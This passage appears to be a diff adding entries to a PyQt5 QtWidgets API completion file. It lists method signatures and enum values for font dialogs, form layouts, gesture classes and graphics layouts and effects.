+QtWidgets.QFocusFrame?1(QWidget parent=None) +QtWidgets.QFocusFrame.__init__?1(self, QWidget parent=None) +QtWidgets.QFocusFrame.setWidget?4(QWidget) +QtWidgets.QFocusFrame.widget?4() -> QWidget +QtWidgets.QFocusFrame.initStyleOption?4(QStyleOption) +QtWidgets.QFocusFrame.eventFilter?4(QObject, QEvent) -> bool +QtWidgets.QFocusFrame.event?4(QEvent) -> bool +QtWidgets.QFocusFrame.paintEvent?4(QPaintEvent) +QtWidgets.QFontComboBox.FontFilter?10 +QtWidgets.QFontComboBox.FontFilter.AllFonts?10 +QtWidgets.QFontComboBox.FontFilter.ScalableFonts?10 +QtWidgets.QFontComboBox.FontFilter.NonScalableFonts?10 +QtWidgets.QFontComboBox.FontFilter.MonospacedFonts?10 +QtWidgets.QFontComboBox.FontFilter.ProportionalFonts?10 +QtWidgets.QFontComboBox?1(QWidget parent=None) +QtWidgets.QFontComboBox.__init__?1(self, QWidget parent=None) +QtWidgets.QFontComboBox.fontFilters?4() -> QFontComboBox.FontFilters +QtWidgets.QFontComboBox.setWritingSystem?4(QFontDatabase.WritingSystem) +QtWidgets.QFontComboBox.writingSystem?4() -> QFontDatabase.WritingSystem +QtWidgets.QFontComboBox.setFontFilters?4(QFontComboBox.FontFilters) +QtWidgets.QFontComboBox.currentFont?4() -> QFont +QtWidgets.QFontComboBox.sizeHint?4() -> QSize +QtWidgets.QFontComboBox.setCurrentFont?4(QFont) +QtWidgets.QFontComboBox.currentFontChanged?4(QFont) +QtWidgets.QFontComboBox.event?4(QEvent) -> bool +QtWidgets.QFontComboBox.FontFilters?1() +QtWidgets.QFontComboBox.FontFilters.__init__?1(self) +QtWidgets.QFontComboBox.FontFilters?1(int) +QtWidgets.QFontComboBox.FontFilters.__init__?1(self, int) +QtWidgets.QFontComboBox.FontFilters?1(QFontComboBox.FontFilters) +QtWidgets.QFontComboBox.FontFilters.__init__?1(self, QFontComboBox.FontFilters) +QtWidgets.QFontDialog.FontDialogOption?10 +QtWidgets.QFontDialog.FontDialogOption.NoButtons?10 +QtWidgets.QFontDialog.FontDialogOption.DontUseNativeDialog?10 +QtWidgets.QFontDialog.FontDialogOption.ScalableFonts?10 +QtWidgets.QFontDialog.FontDialogOption.NonScalableFonts?10 +QtWidgets.QFontDialog.FontDialogOption.MonospacedFonts?10 +QtWidgets.QFontDialog.FontDialogOption.ProportionalFonts?10 +QtWidgets.QFontDialog?1(QWidget parent=None) +QtWidgets.QFontDialog.__init__?1(self, QWidget parent=None) +QtWidgets.QFontDialog?1(QFont, QWidget parent=None) +QtWidgets.QFontDialog.__init__?1(self, QFont, QWidget parent=None) +QtWidgets.QFontDialog.getFont?4(QFont, QWidget parent=None, QString caption='', QFontDialog.FontDialogOptions options=QFontDialog.FontDialogOptions()) -> (QFont, bool) +QtWidgets.QFontDialog.getFont?4(QWidget parent=None) -> (QFont, bool) +QtWidgets.QFontDialog.changeEvent?4(QEvent) +QtWidgets.QFontDialog.done?4(int) +QtWidgets.QFontDialog.eventFilter?4(QObject, QEvent) -> bool +QtWidgets.QFontDialog.setCurrentFont?4(QFont) +QtWidgets.QFontDialog.currentFont?4() -> QFont +QtWidgets.QFontDialog.selectedFont?4() -> QFont +QtWidgets.QFontDialog.setOption?4(QFontDialog.FontDialogOption, bool on=True) +QtWidgets.QFontDialog.testOption?4(QFontDialog.FontDialogOption) -> bool +QtWidgets.QFontDialog.setOptions?4(QFontDialog.FontDialogOptions) +QtWidgets.QFontDialog.options?4() -> QFontDialog.FontDialogOptions +QtWidgets.QFontDialog.open?4() +QtWidgets.QFontDialog.open?4(object) +QtWidgets.QFontDialog.setVisible?4(bool) +QtWidgets.QFontDialog.currentFontChanged?4(QFont) +QtWidgets.QFontDialog.fontSelected?4(QFont) +QtWidgets.QFontDialog.FontDialogOptions?1() +QtWidgets.QFontDialog.FontDialogOptions.__init__?1(self) +QtWidgets.QFontDialog.FontDialogOptions?1(int) +QtWidgets.QFontDialog.FontDialogOptions.__init__?1(self, int) +QtWidgets.QFontDialog.FontDialogOptions?1(QFontDialog.FontDialogOptions) +QtWidgets.QFontDialog.FontDialogOptions.__init__?1(self, QFontDialog.FontDialogOptions) +QtWidgets.QFormLayout.ItemRole?10 +QtWidgets.QFormLayout.ItemRole.LabelRole?10 +QtWidgets.QFormLayout.ItemRole.FieldRole?10 +QtWidgets.QFormLayout.ItemRole.SpanningRole?10 +QtWidgets.QFormLayout.RowWrapPolicy?10 +QtWidgets.QFormLayout.RowWrapPolicy.DontWrapRows?10 +QtWidgets.QFormLayout.RowWrapPolicy.WrapLongRows?10 +QtWidgets.QFormLayout.RowWrapPolicy.WrapAllRows?10 +QtWidgets.QFormLayout.FieldGrowthPolicy?10 +QtWidgets.QFormLayout.FieldGrowthPolicy.FieldsStayAtSizeHint?10 +QtWidgets.QFormLayout.FieldGrowthPolicy.ExpandingFieldsGrow?10 +QtWidgets.QFormLayout.FieldGrowthPolicy.AllNonFixedFieldsGrow?10 +QtWidgets.QFormLayout?1(QWidget parent=None) +QtWidgets.QFormLayout.__init__?1(self, QWidget parent=None) +QtWidgets.QFormLayout.setFieldGrowthPolicy?4(QFormLayout.FieldGrowthPolicy) +QtWidgets.QFormLayout.fieldGrowthPolicy?4() -> QFormLayout.FieldGrowthPolicy +QtWidgets.QFormLayout.setRowWrapPolicy?4(QFormLayout.RowWrapPolicy) +QtWidgets.QFormLayout.rowWrapPolicy?4() -> QFormLayout.RowWrapPolicy +QtWidgets.QFormLayout.setLabelAlignment?4(Qt.Alignment) +QtWidgets.QFormLayout.labelAlignment?4() -> Qt.Alignment +QtWidgets.QFormLayout.setFormAlignment?4(Qt.Alignment) +QtWidgets.QFormLayout.formAlignment?4() -> Qt.Alignment +QtWidgets.QFormLayout.setHorizontalSpacing?4(int) +QtWidgets.QFormLayout.horizontalSpacing?4() -> int +QtWidgets.QFormLayout.setVerticalSpacing?4(int) +QtWidgets.QFormLayout.verticalSpacing?4() -> int +QtWidgets.QFormLayout.spacing?4() -> int +QtWidgets.QFormLayout.setSpacing?4(int) +QtWidgets.QFormLayout.addRow?4(QWidget, QWidget) +QtWidgets.QFormLayout.addRow?4(QWidget, QLayout) +QtWidgets.QFormLayout.addRow?4(QString, QWidget) +QtWidgets.QFormLayout.addRow?4(QString, QLayout) +QtWidgets.QFormLayout.addRow?4(QWidget) +QtWidgets.QFormLayout.addRow?4(QLayout) +QtWidgets.QFormLayout.insertRow?4(int, QWidget, QWidget) +QtWidgets.QFormLayout.insertRow?4(int, QWidget, QLayout) +QtWidgets.QFormLayout.insertRow?4(int, QString, QWidget) +QtWidgets.QFormLayout.insertRow?4(int, QString, QLayout) +QtWidgets.QFormLayout.insertRow?4(int, QWidget) +QtWidgets.QFormLayout.insertRow?4(int, QLayout) +QtWidgets.QFormLayout.setItem?4(int, QFormLayout.ItemRole, QLayoutItem) +QtWidgets.QFormLayout.setWidget?4(int, QFormLayout.ItemRole, QWidget) +QtWidgets.QFormLayout.setLayout?4(int, QFormLayout.ItemRole, QLayout) +QtWidgets.QFormLayout.itemAt?4(int, QFormLayout.ItemRole) -> QLayoutItem +QtWidgets.QFormLayout.getItemPosition?4(int) -> (int, QFormLayout.ItemRole) +QtWidgets.QFormLayout.getWidgetPosition?4(QWidget) -> (int, QFormLayout.ItemRole) +QtWidgets.QFormLayout.getLayoutPosition?4(QLayout) -> (int, QFormLayout.ItemRole) +QtWidgets.QFormLayout.labelForField?4(QWidget) -> QWidget +QtWidgets.QFormLayout.labelForField?4(QLayout) -> QWidget +QtWidgets.QFormLayout.addItem?4(QLayoutItem) +QtWidgets.QFormLayout.itemAt?4(int) -> QLayoutItem +QtWidgets.QFormLayout.takeAt?4(int) -> QLayoutItem +QtWidgets.QFormLayout.setGeometry?4(QRect) +QtWidgets.QFormLayout.minimumSize?4() -> QSize +QtWidgets.QFormLayout.sizeHint?4() -> QSize +QtWidgets.QFormLayout.invalidate?4() +QtWidgets.QFormLayout.hasHeightForWidth?4() -> bool +QtWidgets.QFormLayout.heightForWidth?4(int) -> int +QtWidgets.QFormLayout.expandingDirections?4() -> Qt.Orientations +QtWidgets.QFormLayout.count?4() -> int +QtWidgets.QFormLayout.rowCount?4() -> int +QtWidgets.QFormLayout.removeRow?4(int) +QtWidgets.QFormLayout.removeRow?4(QWidget) +QtWidgets.QFormLayout.removeRow?4(QLayout) +QtWidgets.QFormLayout.takeRow?4(int) -> QFormLayout.TakeRowResult +QtWidgets.QFormLayout.takeRow?4(QWidget) -> QFormLayout.TakeRowResult +QtWidgets.QFormLayout.takeRow?4(QLayout) -> QFormLayout.TakeRowResult +QtWidgets.QFormLayout.TakeRowResult.fieldItem?7 +QtWidgets.QFormLayout.TakeRowResult.labelItem?7 +QtWidgets.QFormLayout.TakeRowResult?1() +QtWidgets.QFormLayout.TakeRowResult.__init__?1(self) +QtWidgets.QFormLayout.TakeRowResult?1(QFormLayout.TakeRowResult) +QtWidgets.QFormLayout.TakeRowResult.__init__?1(self, QFormLayout.TakeRowResult) +QtWidgets.QGesture.GestureCancelPolicy?10 +QtWidgets.QGesture.GestureCancelPolicy.CancelNone?10 +QtWidgets.QGesture.GestureCancelPolicy.CancelAllInContext?10 +QtWidgets.QGesture?1(QObject parent=None) +QtWidgets.QGesture.__init__?1(self, QObject parent=None) +QtWidgets.QGesture.gestureType?4() -> Qt.GestureType +QtWidgets.QGesture.state?4() -> Qt.GestureState +QtWidgets.QGesture.hotSpot?4() -> QPointF +QtWidgets.QGesture.setHotSpot?4(QPointF) +QtWidgets.QGesture.hasHotSpot?4() -> bool +QtWidgets.QGesture.unsetHotSpot?4() +QtWidgets.QGesture.setGestureCancelPolicy?4(QGesture.GestureCancelPolicy) +QtWidgets.QGesture.gestureCancelPolicy?4() -> QGesture.GestureCancelPolicy +QtWidgets.QPanGesture?1(QObject parent=None) +QtWidgets.QPanGesture.__init__?1(self, QObject parent=None) +QtWidgets.QPanGesture.lastOffset?4() -> QPointF +QtWidgets.QPanGesture.offset?4() -> QPointF +QtWidgets.QPanGesture.delta?4() -> QPointF +QtWidgets.QPanGesture.acceleration?4() -> float +QtWidgets.QPanGesture.setLastOffset?4(QPointF) +QtWidgets.QPanGesture.setOffset?4(QPointF) +QtWidgets.QPanGesture.setAcceleration?4(float) +QtWidgets.QPinchGesture.ChangeFlag?10 +QtWidgets.QPinchGesture.ChangeFlag.ScaleFactorChanged?10 +QtWidgets.QPinchGesture.ChangeFlag.RotationAngleChanged?10 +QtWidgets.QPinchGesture.ChangeFlag.CenterPointChanged?10 +QtWidgets.QPinchGesture?1(QObject parent=None) +QtWidgets.QPinchGesture.__init__?1(self, QObject parent=None) +QtWidgets.QPinchGesture.totalChangeFlags?4() -> QPinchGesture.ChangeFlags +QtWidgets.QPinchGesture.setTotalChangeFlags?4(QPinchGesture.ChangeFlags) +QtWidgets.QPinchGesture.changeFlags?4() -> QPinchGesture.ChangeFlags +QtWidgets.QPinchGesture.setChangeFlags?4(QPinchGesture.ChangeFlags) +QtWidgets.QPinchGesture.startCenterPoint?4() -> QPointF +QtWidgets.QPinchGesture.lastCenterPoint?4() -> QPointF +QtWidgets.QPinchGesture.centerPoint?4() -> QPointF +QtWidgets.QPinchGesture.setStartCenterPoint?4(QPointF) +QtWidgets.QPinchGesture.setLastCenterPoint?4(QPointF) +QtWidgets.QPinchGesture.setCenterPoint?4(QPointF) +QtWidgets.QPinchGesture.totalScaleFactor?4() -> float +QtWidgets.QPinchGesture.lastScaleFactor?4() -> float +QtWidgets.QPinchGesture.scaleFactor?4() -> float +QtWidgets.QPinchGesture.setTotalScaleFactor?4(float) +QtWidgets.QPinchGesture.setLastScaleFactor?4(float) +QtWidgets.QPinchGesture.setScaleFactor?4(float) +QtWidgets.QPinchGesture.totalRotationAngle?4() -> float +QtWidgets.QPinchGesture.lastRotationAngle?4() -> float +QtWidgets.QPinchGesture.rotationAngle?4() -> float +QtWidgets.QPinchGesture.setTotalRotationAngle?4(float) +QtWidgets.QPinchGesture.setLastRotationAngle?4(float) +QtWidgets.QPinchGesture.setRotationAngle?4(float) +QtWidgets.QPinchGesture.ChangeFlags?1() +QtWidgets.QPinchGesture.ChangeFlags.__init__?1(self) +QtWidgets.QPinchGesture.ChangeFlags?1(int) +QtWidgets.QPinchGesture.ChangeFlags.__init__?1(self, int) +QtWidgets.QPinchGesture.ChangeFlags?1(QPinchGesture.ChangeFlags) +QtWidgets.QPinchGesture.ChangeFlags.__init__?1(self, QPinchGesture.ChangeFlags) +QtWidgets.QSwipeGesture.SwipeDirection?10 +QtWidgets.QSwipeGesture.SwipeDirection.NoDirection?10 +QtWidgets.QSwipeGesture.SwipeDirection.Left?10 +QtWidgets.QSwipeGesture.SwipeDirection.Right?10 +QtWidgets.QSwipeGesture.SwipeDirection.Up?10 +QtWidgets.QSwipeGesture.SwipeDirection.Down?10 +QtWidgets.QSwipeGesture?1(QObject parent=None) +QtWidgets.QSwipeGesture.__init__?1(self, QObject parent=None) +QtWidgets.QSwipeGesture.horizontalDirection?4() -> QSwipeGesture.SwipeDirection +QtWidgets.QSwipeGesture.verticalDirection?4() -> QSwipeGesture.SwipeDirection +QtWidgets.QSwipeGesture.swipeAngle?4() -> float +QtWidgets.QSwipeGesture.setSwipeAngle?4(float) +QtWidgets.QTapGesture?1(QObject parent=None) +QtWidgets.QTapGesture.__init__?1(self, QObject parent=None) +QtWidgets.QTapGesture.position?4() -> QPointF +QtWidgets.QTapGesture.setPosition?4(QPointF) +QtWidgets.QTapAndHoldGesture?1(QObject parent=None) +QtWidgets.QTapAndHoldGesture.__init__?1(self, QObject parent=None) +QtWidgets.QTapAndHoldGesture.position?4() -> QPointF +QtWidgets.QTapAndHoldGesture.setPosition?4(QPointF) +QtWidgets.QTapAndHoldGesture.setTimeout?4(int) +QtWidgets.QTapAndHoldGesture.timeout?4() -> int +QtWidgets.QGestureEvent?1(unknown-type) +QtWidgets.QGestureEvent.__init__?1(self, unknown-type) +QtWidgets.QGestureEvent?1(QGestureEvent) +QtWidgets.QGestureEvent.__init__?1(self, QGestureEvent) +QtWidgets.QGestureEvent.gestures?4() -> unknown-type +QtWidgets.QGestureEvent.gesture?4(Qt.GestureType) -> QGesture +QtWidgets.QGestureEvent.activeGestures?4() -> unknown-type +QtWidgets.QGestureEvent.canceledGestures?4() -> unknown-type +QtWidgets.QGestureEvent.setAccepted?4(bool) +QtWidgets.QGestureEvent.isAccepted?4() -> bool +QtWidgets.QGestureEvent.accept?4() +QtWidgets.QGestureEvent.ignore?4() +QtWidgets.QGestureEvent.setAccepted?4(QGesture, bool) +QtWidgets.QGestureEvent.accept?4(QGesture) +QtWidgets.QGestureEvent.ignore?4(QGesture) +QtWidgets.QGestureEvent.isAccepted?4(QGesture) -> bool +QtWidgets.QGestureEvent.setAccepted?4(Qt.GestureType, bool) +QtWidgets.QGestureEvent.accept?4(Qt.GestureType) +QtWidgets.QGestureEvent.ignore?4(Qt.GestureType) +QtWidgets.QGestureEvent.isAccepted?4(Qt.GestureType) -> bool +QtWidgets.QGestureEvent.widget?4() -> QWidget +QtWidgets.QGestureEvent.mapToGraphicsScene?4(QPointF) -> QPointF +QtWidgets.QGestureRecognizer.ResultFlag?10 +QtWidgets.QGestureRecognizer.ResultFlag.Ignore?10 +QtWidgets.QGestureRecognizer.ResultFlag.MayBeGesture?10 +QtWidgets.QGestureRecognizer.ResultFlag.TriggerGesture?10 +QtWidgets.QGestureRecognizer.ResultFlag.FinishGesture?10 +QtWidgets.QGestureRecognizer.ResultFlag.CancelGesture?10 +QtWidgets.QGestureRecognizer.ResultFlag.ConsumeEventHint?10 +QtWidgets.QGestureRecognizer?1() +QtWidgets.QGestureRecognizer.__init__?1(self) +QtWidgets.QGestureRecognizer?1(QGestureRecognizer) +QtWidgets.QGestureRecognizer.__init__?1(self, QGestureRecognizer) +QtWidgets.QGestureRecognizer.create?4(QObject) -> QGesture +QtWidgets.QGestureRecognizer.recognize?4(QGesture, QObject, QEvent) -> QGestureRecognizer.Result +QtWidgets.QGestureRecognizer.reset?4(QGesture) +QtWidgets.QGestureRecognizer.registerRecognizer?4(QGestureRecognizer) -> Qt.GestureType +QtWidgets.QGestureRecognizer.unregisterRecognizer?4(Qt.GestureType) +QtWidgets.QGestureRecognizer.Result?1() +QtWidgets.QGestureRecognizer.Result.__init__?1(self) +QtWidgets.QGestureRecognizer.Result?1(int) +QtWidgets.QGestureRecognizer.Result.__init__?1(self, int) +QtWidgets.QGestureRecognizer.Result?1(QGestureRecognizer.Result) +QtWidgets.QGestureRecognizer.Result.__init__?1(self, QGestureRecognizer.Result) +QtWidgets.QGraphicsAnchor.setSpacing?4(float) +QtWidgets.QGraphicsAnchor.unsetSpacing?4() +QtWidgets.QGraphicsAnchor.spacing?4() -> float +QtWidgets.QGraphicsAnchor.setSizePolicy?4(QSizePolicy.Policy) +QtWidgets.QGraphicsAnchor.sizePolicy?4() -> QSizePolicy.Policy +QtWidgets.QGraphicsLayoutItem?1(QGraphicsLayoutItem parent=None, bool isLayout=False) +QtWidgets.QGraphicsLayoutItem.__init__?1(self, QGraphicsLayoutItem parent=None, bool isLayout=False) +QtWidgets.QGraphicsLayoutItem.setSizePolicy?4(QSizePolicy) +QtWidgets.QGraphicsLayoutItem.setSizePolicy?4(QSizePolicy.Policy, QSizePolicy.Policy, QSizePolicy.ControlType controlType=QSizePolicy.DefaultType) +QtWidgets.QGraphicsLayoutItem.sizePolicy?4() -> QSizePolicy +QtWidgets.QGraphicsLayoutItem.setMinimumSize?4(QSizeF) +QtWidgets.QGraphicsLayoutItem.minimumSize?4() -> QSizeF +QtWidgets.QGraphicsLayoutItem.setMinimumWidth?4(float) +QtWidgets.QGraphicsLayoutItem.setMinimumHeight?4(float) +QtWidgets.QGraphicsLayoutItem.setPreferredSize?4(QSizeF) +QtWidgets.QGraphicsLayoutItem.preferredSize?4() -> QSizeF +QtWidgets.QGraphicsLayoutItem.setPreferredWidth?4(float) +QtWidgets.QGraphicsLayoutItem.setPreferredHeight?4(float) +QtWidgets.QGraphicsLayoutItem.setMaximumSize?4(QSizeF) +QtWidgets.QGraphicsLayoutItem.maximumSize?4() -> QSizeF +QtWidgets.QGraphicsLayoutItem.setMaximumWidth?4(float) +QtWidgets.QGraphicsLayoutItem.setMaximumHeight?4(float) +QtWidgets.QGraphicsLayoutItem.setGeometry?4(QRectF) +QtWidgets.QGraphicsLayoutItem.geometry?4() -> QRectF +QtWidgets.QGraphicsLayoutItem.getContentsMargins?4() -> (float, float, float, float) +QtWidgets.QGraphicsLayoutItem.contentsRect?4() -> QRectF +QtWidgets.QGraphicsLayoutItem.effectiveSizeHint?4(Qt.SizeHint, QSizeF constraint=QSizeF()) -> QSizeF +QtWidgets.QGraphicsLayoutItem.updateGeometry?4() +QtWidgets.QGraphicsLayoutItem.parentLayoutItem?4() -> QGraphicsLayoutItem +QtWidgets.QGraphicsLayoutItem.setParentLayoutItem?4(QGraphicsLayoutItem) +QtWidgets.QGraphicsLayoutItem.isLayout?4() -> bool +QtWidgets.QGraphicsLayoutItem.setMinimumSize?4(float, float) +QtWidgets.QGraphicsLayoutItem.setPreferredSize?4(float, float) +QtWidgets.QGraphicsLayoutItem.setMaximumSize?4(float, float) +QtWidgets.QGraphicsLayoutItem.minimumWidth?4() -> float +QtWidgets.QGraphicsLayoutItem.minimumHeight?4() -> float +QtWidgets.QGraphicsLayoutItem.preferredWidth?4() -> float +QtWidgets.QGraphicsLayoutItem.preferredHeight?4() -> float +QtWidgets.QGraphicsLayoutItem.maximumWidth?4() -> float +QtWidgets.QGraphicsLayoutItem.maximumHeight?4() -> float +QtWidgets.QGraphicsLayoutItem.graphicsItem?4() -> QGraphicsItem +QtWidgets.QGraphicsLayoutItem.ownedByLayout?4() -> bool +QtWidgets.QGraphicsLayoutItem.sizeHint?4(Qt.SizeHint, QSizeF constraint=QSizeF()) -> QSizeF +QtWidgets.QGraphicsLayoutItem.setGraphicsItem?4(QGraphicsItem) +QtWidgets.QGraphicsLayoutItem.setOwnedByLayout?4(bool) +QtWidgets.QGraphicsLayout?1(QGraphicsLayoutItem parent=None) +QtWidgets.QGraphicsLayout.__init__?1(self, QGraphicsLayoutItem parent=None) +QtWidgets.QGraphicsLayout.setContentsMargins?4(float, float, float, float) +QtWidgets.QGraphicsLayout.getContentsMargins?4() -> (float, float, float, float) +QtWidgets.QGraphicsLayout.activate?4() +QtWidgets.QGraphicsLayout.isActivated?4() -> bool +QtWidgets.QGraphicsLayout.invalidate?4() +QtWidgets.QGraphicsLayout.widgetEvent?4(QEvent) +QtWidgets.QGraphicsLayout.count?4() -> int +QtWidgets.QGraphicsLayout.itemAt?4(int) -> QGraphicsLayoutItem +QtWidgets.QGraphicsLayout.removeAt?4(int) +QtWidgets.QGraphicsLayout.updateGeometry?4() +QtWidgets.QGraphicsLayout.addChildLayoutItem?4(QGraphicsLayoutItem) +QtWidgets.QGraphicsAnchorLayout?1(QGraphicsLayoutItem parent=None) +QtWidgets.QGraphicsAnchorLayout.__init__?1(self, QGraphicsLayoutItem parent=None) +QtWidgets.QGraphicsAnchorLayout.addAnchor?4(QGraphicsLayoutItem, Qt.AnchorPoint, QGraphicsLayoutItem, Qt.AnchorPoint) -> QGraphicsAnchor +QtWidgets.QGraphicsAnchorLayout.anchor?4(QGraphicsLayoutItem, Qt.AnchorPoint, QGraphicsLayoutItem, Qt.AnchorPoint) -> QGraphicsAnchor +QtWidgets.QGraphicsAnchorLayout.addCornerAnchors?4(QGraphicsLayoutItem, Qt.Corner, QGraphicsLayoutItem, Qt.Corner) +QtWidgets.QGraphicsAnchorLayout.addAnchors?4(QGraphicsLayoutItem, QGraphicsLayoutItem, Qt.Orientations orientations=Qt.Horizontal|Qt.Vertical) +QtWidgets.QGraphicsAnchorLayout.setHorizontalSpacing?4(float) +QtWidgets.QGraphicsAnchorLayout.setVerticalSpacing?4(float) +QtWidgets.QGraphicsAnchorLayout.setSpacing?4(float) +QtWidgets.QGraphicsAnchorLayout.horizontalSpacing?4() -> float +QtWidgets.QGraphicsAnchorLayout.verticalSpacing?4() -> float +QtWidgets.QGraphicsAnchorLayout.removeAt?4(int) +QtWidgets.QGraphicsAnchorLayout.setGeometry?4(QRectF) +QtWidgets.QGraphicsAnchorLayout.count?4() -> int +QtWidgets.QGraphicsAnchorLayout.itemAt?4(int) -> QGraphicsLayoutItem +QtWidgets.QGraphicsAnchorLayout.invalidate?4() +QtWidgets.QGraphicsAnchorLayout.sizeHint?4(Qt.SizeHint, QSizeF constraint=QSizeF()) -> QSizeF +QtWidgets.QGraphicsEffect.PixmapPadMode?10 +QtWidgets.QGraphicsEffect.PixmapPadMode.NoPad?10 +QtWidgets.QGraphicsEffect.PixmapPadMode.PadToTransparentBorder?10 +QtWidgets.QGraphicsEffect.PixmapPadMode.PadToEffectiveBoundingRect?10 +QtWidgets.QGraphicsEffect.ChangeFlag?10 +QtWidgets.QGraphicsEffect.ChangeFlag.SourceAttached?10 +QtWidgets.QGraphicsEffect.ChangeFlag.SourceDetached?10 +QtWidgets.QGraphicsEffect.ChangeFlag.SourceBoundingRectChanged?10 +QtWidgets.QGraphicsEffect.ChangeFlag.SourceInvalidated?10 +QtWidgets.QGraphicsEffect?1(QObject parent=None) +QtWidgets.QGraphicsEffect.__init__?1(self, QObject parent=None) +QtWidgets.QGraphicsEffect.boundingRectFor?4(QRectF) -> QRectF +QtWidgets.QGraphicsEffect.boundingRect?4() -> QRectF +QtWidgets.QGraphicsEffect.isEnabled?4() -> bool +QtWidgets.QGraphicsEffect.setEnabled?4(bool) +QtWidgets.QGraphicsEffect.update?4() +QtWidgets.QGraphicsEffect.enabledChanged?4(bool) +QtWidgets.QGraphicsEffect.draw?4(QPainter) +QtWidgets.QGraphicsEffect.sourceChanged?4(QGraphicsEffect.ChangeFlags) +QtWidgets.QGraphicsEffect.updateBoundingRect?4() +QtWidgets.QGraphicsEffect.sourceIsPixmap?4() -> bool +QtWidgets.QGraphicsEffect.sourceBoundingRect?4(Qt.CoordinateSystem system=Qt.LogicalCoordinates) -> QRectF +QtWidgets.QGraphicsEffect.drawSource?4(QPainter) +QtWidgets.QGraphicsEffect.sourcePixmap?4(Qt.CoordinateSystem system=Qt.LogicalCoordinates, QGraphicsEffect.PixmapPadMode mode=QGraphicsEffect.PadToEffectiveBoundingRect) -> (QPixmap, QPoint) +QtWidgets.QGraphicsEffect.ChangeFlags?1() +QtWidgets.QGraphicsEffect.ChangeFlags.__init__?1(self) +QtWidgets.QGraphicsEffect.ChangeFlags?1(int) +QtWidgets.QGraphicsEffect.ChangeFlags.__init__?1(self, int) +QtWidgets.QGraphicsEffect.ChangeFlags?1(QGraphicsEffect.ChangeFlags) +QtWidgets.QGraphicsEffect.ChangeFlags.__init__?1(self, QGraphicsEffect.ChangeFlags) +QtWidgets.QGraphicsColorizeEffect?1(QObject parent=None) +QtWidgets.QGraphicsColorizeEffect.__init__?1(self, QObject parent=None) +QtWidgets.QGraphicsColorizeEffect.color?4() -> QColor +QtWidgets.QGraphicsColorizeEffect.strength?4() -> float +QtWidgets.QGraphicsColorizeEffect.setColor?4(QColor) +QtWidgets.QGraphicsColorizeEffect.setStrength?4(float) +QtWidgets.QGraphicsColorizeEffect.colorChanged?4(QColor) +QtWidgets.QGraphicsColorizeEffect.strengthChanged?4(float) +QtWidgets.QGraphicsColorizeEffect.draw?4(QPainter) +QtWidgets.QGraphicsBlurEffect.BlurHint?10 +QtWidgets.QGraphicsBlurEffect.BlurHint.PerformanceHint?10 +QtWidgets.QGraphicsBlurEffect.BlurHint.QualityHint?10 +QtWidgets.QGraphicsBlurEffect.BlurHint.AnimationHint?10 +QtWidgets.QGraphicsBlurEffect?1(QObject parent=None) +QtWidgets.QGraphicsBlurEffect.__init__?1(self, QObject parent=None) +QtWidgets.QGraphicsBlurEffect.boundingRectFor?4(QRectF) -> QRectF +QtWidgets.QGraphicsBlurEffect.blurRadius?4() -> float +QtWidgets.QGraphicsBlurEffect.blurHints?4() -> QGraphicsBlurEffect.BlurHints +QtWidgets.QGraphicsBlurEffect.setBlurRadius?4(float) +QtWidgets.QGraphicsBlurEffect.setBlurHints?4(QGraphicsBlurEffect.BlurHints) +QtWidgets.QGraphicsBlurEffect.blurRadiusChanged?4(float) +QtWidgets.QGraphicsBlurEffect.blurHintsChanged?4(QGraphicsBlurEffect.BlurHints) +QtWidgets.QGraphicsBlurEffect.draw?4(QPainter) +QtWidgets.QGraphicsBlurEffect.BlurHints?1() +QtWidgets.QGraphicsBlurEffect.BlurHints.__init__?1(self) +QtWidgets.QGraphicsBlurEffect.BlurHints?1(int) +QtWidgets.QGraphicsBlurEffect.BlurHints.__init__?1(self, int) +QtWidgets.QGraphicsBlurEffect.BlurHints?1(QGraphicsBlurEffect.BlurHints) +QtWidgets.QGraphicsBlurEffect.BlurHints.__init__?1(self, QGraphicsBlurEffect.BlurHints) +QtWidgets.QGraphicsDropShadowEffect?1(QObject parent=None) +QtWidgets.QGraphicsDropShadowEffect.__init__?1(self, QObject parent=None) +QtWidgets.QGraphicsDropShadowEffect.boundingRectFor?4(QRectF) -> QRectF +QtWidgets.QGraphicsDropShadowEffect.offset?4() -> QPointF +QtWidgets.QGraphicsDropShadowEffect.xOffset?4() -> float +QtWidgets.QGraphicsDropShadowEffect.yOffset?4() -> float +QtWidgets.QGraphicsDropShadowEffect.blurRadius?4() -> float +QtWidgets.QGraphicsDropShadowEffect.color?4() -> QColor +QtWidgets.QGraphicsDropShadowEffect.setOffset?4(QPointF) +QtWidgets.QGraphicsDropShadowEffect.setOffset?4(float, float) +QtWidgets.QGraphicsDropShadowEffect.setOffset?4(float) +QtWidgets.QGraphicsDropShadowEffect.setXOffset?4(float) +QtWidgets.QGraphicsDropShadowEffect.setYOffset?4(float) +QtWidgets.QGraphicsDropShadowEffect.setBlurRadius?4(float) +QtWidgets.QGraphicsDropShadowEffect.setColor?4(QColor) +QtWidgets.QGraphicsDropShadowEffect.offsetChanged?4(QPointF) +QtWidgets.QGraphicsDropShadowEffect.blurRadiusChanged?4(float) +QtWidgets.QGraphicsDropShadowEffect.colorChanged?4(QColor) +QtWidgets.QGraphicsDropShadowEffect.draw?4(QPainter) +QtWidgets.QGraphicsOpacityEffect?1(QObject parent=None) +QtWidgets.QGraphicsOpacityEffect.__init__?1(self, QObject parent=None) +QtWidgets.QGraphicsOpacityEffect.opacity?4() -> float +QtWidgets.QGraphicsOpacityEffect.opacityMask?4() -> QBrush +QtWidgets.QGraphicsOpacityEffect.setOpacity?4(float) +QtWidgets.QGraphicsOpacityEffect.setOpacityMask?4(QBrush) +QtWidgets.QGraphicsOpacityEffect.opacityChanged?4(float) +QtWidgets.QGraphicsOpacityEffect.opacityMaskChanged?4(QBrush) +QtWidgets.QGraphicsOpacityEffect.draw?4(QPainter) +QtWidgets.QGraphicsGridLayout?1(QGraphicsLayoutItem parent=None) +QtWidgets.QGraphicsGridLayout.__init__?1(self, QGraphicsLayoutItem parent=None) +QtWidgets.QGraphicsGridLayout.addItem?4(QGraphicsLayoutItem, int, int, int, int, Qt.Alignment alignment=Qt.Alignment()) +QtWidgets.QGraphicsGridLayout.addItem?4(QGraphicsLayoutItem, int, int, Qt.Alignment alignment=Qt.Alignment()) +QtWidgets.QGraphicsGridLayout.setHorizontalSpacing?4(float) +QtWidgets.QGraphicsGridLayout.horizontalSpacing?4() -> float +QtWidgets.QGraphicsGridLayout.setVerticalSpacing?4(float) +QtWidgets.QGraphicsGridLayout.verticalSpacing?4() -> float +QtWidgets.QGraphicsGridLayout.setSpacing?4(float) +QtWidgets.QGraphicsGridLayout.setRowSpacing?4(int, float) 